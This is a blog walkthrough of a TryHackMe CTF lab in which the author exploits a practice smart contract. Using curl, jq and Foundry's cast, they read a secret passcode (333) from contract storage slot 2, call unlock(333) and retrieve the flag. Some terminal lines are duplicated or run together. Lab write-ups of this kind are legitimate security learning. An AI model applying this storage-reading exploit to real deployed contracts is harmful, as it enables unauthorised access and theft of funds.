Hackfinity: Blockchain: PassCode (TryHackMe)

JebitokJebitok
2 min read

Table of contents

In this challenge, we were tasked with breaking into the DarkInject blockchain by exploiting weaknesses in their deployed smart contract. The scenario simulated a real-world blockchain security assessment, where we had to interact with Ethereum RPC endpoints, extract contract details, and manipulate contract storage in order to bypass its intended protections. Using tools like curl, jq, and cast from Foundry, we gradually gathered information about the player wallet, the contract address, and the state variables that controlled access. The objective was to unlock the contract and ultimately retrieve the hidden flag.

We may have found a way to break into the DarkInject blockchain, exploiting a vulnerability in their system. This might be our only chance to stop them—for good.

Note: To start the target machine, click the Start Machine button:

Start Machine

Wait 1-2 minutes for the target machine to start. Once it has fully booted, the target machine IP will appear here:

MACHINE_IP

You can then use the AttackBox or your own machine to attack the target machine's IP address.

Terminal

root@attacker:~# RPC_URL=http://MACHINE_IP:8545root@attacker:~# API_URL=http://MACHINE_IProot@attacker:~# PRIVATE_KEY=$(curl -s ${API_URL}/challenge | jq -r ".player_wallet.private_key")root@attacker:~# CONTRACT_ADDRESS=$(curl -s ${API_URL}/challenge | jq -r ".contract_address")root@attacker:~# PLAYER_ADDRESS=$(curl -s ${API_URL}/challenge | jq -r ".player_wallet.address")root@attacker:~# is_solved=`cast call $CONTRACT_ADDRESS "isSolved()(bool)" --rpc-url ${RPC_URL}`root@attacker:~# echo "Check if is solved: $is_solved"Check if is solved: false

root@attacker:~# RPC_URL=http://10.10.234.22:8545

root@attacker:~# API_URL=http://10.10.234.22

root@attacker:~# PRIVATE_KEY=$(curl -s ${API_URL}/challenge | jq -r ".player_wallet.private_key")

root@attacker:~# CONTRACT_ADDRESS=$(curl -s ${API_URL}/challenge | jq -r ".contract_address")

root@attacker:~# PLAYER_ADDRESS=$(curl -s ${API_URL}/challenge | jq -r ".player_wallet.address")

root@attacker:~# is_solved=cast call $CONTRACT_ADDRESS "isSolved()(bool)" --rpc-url ${RPC_URL}

root@attacker:~# echo "Check if is solved: $is_solved"

Check if is solved: false

RPC_URL=http://10.10.234.22:8545

API_URL=http://10.10.234.22

PRIVATE_KEY=$(curl -s ${API_URL}/challenge | jq -r ".player_wallet.private_key")

CONTRACT_ADDRESS=$(curl -s ${API_URL}/challenge | jq -r ".contract_address")

cast storage $CONTRACT_ADDRESS 2 --rpc-url $RPC_URL 0x000000000000000000000000000000000000000000000000000000000000014d

cast send $CONTRACT_ADDRESS "unlock(uint256)" 333 --rpc-url $RPC_URL --private-key $PRIVATE_KEY --legacy

blockHash 0xb61c5a421bd6d9522c93a50b8986dd2e2b498716ffa0ff2fe674ffec6af0815e blockNumber 3 contractAddress

cumulativeGasUsed 43123 effectiveGasPrice 1000000000 from 0x6A3d4fFCb67E88f7187FfA9852Ba59F5Bac3dAD6 gasUsed 43123 logs [] logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 root

status 1 (success) transactionHash 0xf5cf09b0a70c2e035f1d2bdd6bd223e508406b3ffab47047aa1a501fb61b6aab transactionIndex 0 type 0 blobGasPrice

blobGasUsed

to 0xf22cB0Ca047e88AC996c17683Cee290518093574

is_solved=cast call $CONTRACT_ADDRESS "isSolved()(bool)" --rpc-url ${RPC_URL}``

cast call $CONTRACT_ADDRESS "isSolved()(bool)" --rpc-url $RPC_URL

Step 5: Get the flag

cast call $CONTRACT_ADDRESS "getFlag()(string)" --rpc-url $RPC_URL

Through direct interaction with the smart contract’s storage and functions, we successfully exploited the DarkInject blockchain system. By identifying and invoking the vulnerable unlock(uint256) function with the correct parameter, we were able to change the internal state and set the challenge as solved. Finally, by calling the getFlag() function, we retrieved the flag and completed the mission. This exercise highlighted the importance of secure smart contract design, since improper handling of storage variables and weak logic checks can easily be abused by attackers.

0
Subscribe to my newsletter

Read articles from Jebitok directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Jebitok
Jebitok

Software Developer | Learning Cybersecurity | Open for roles * If you're in the early stages of your career in software development (student or still looking for an entry-level role) and in need of mentorship, you can reach out to me.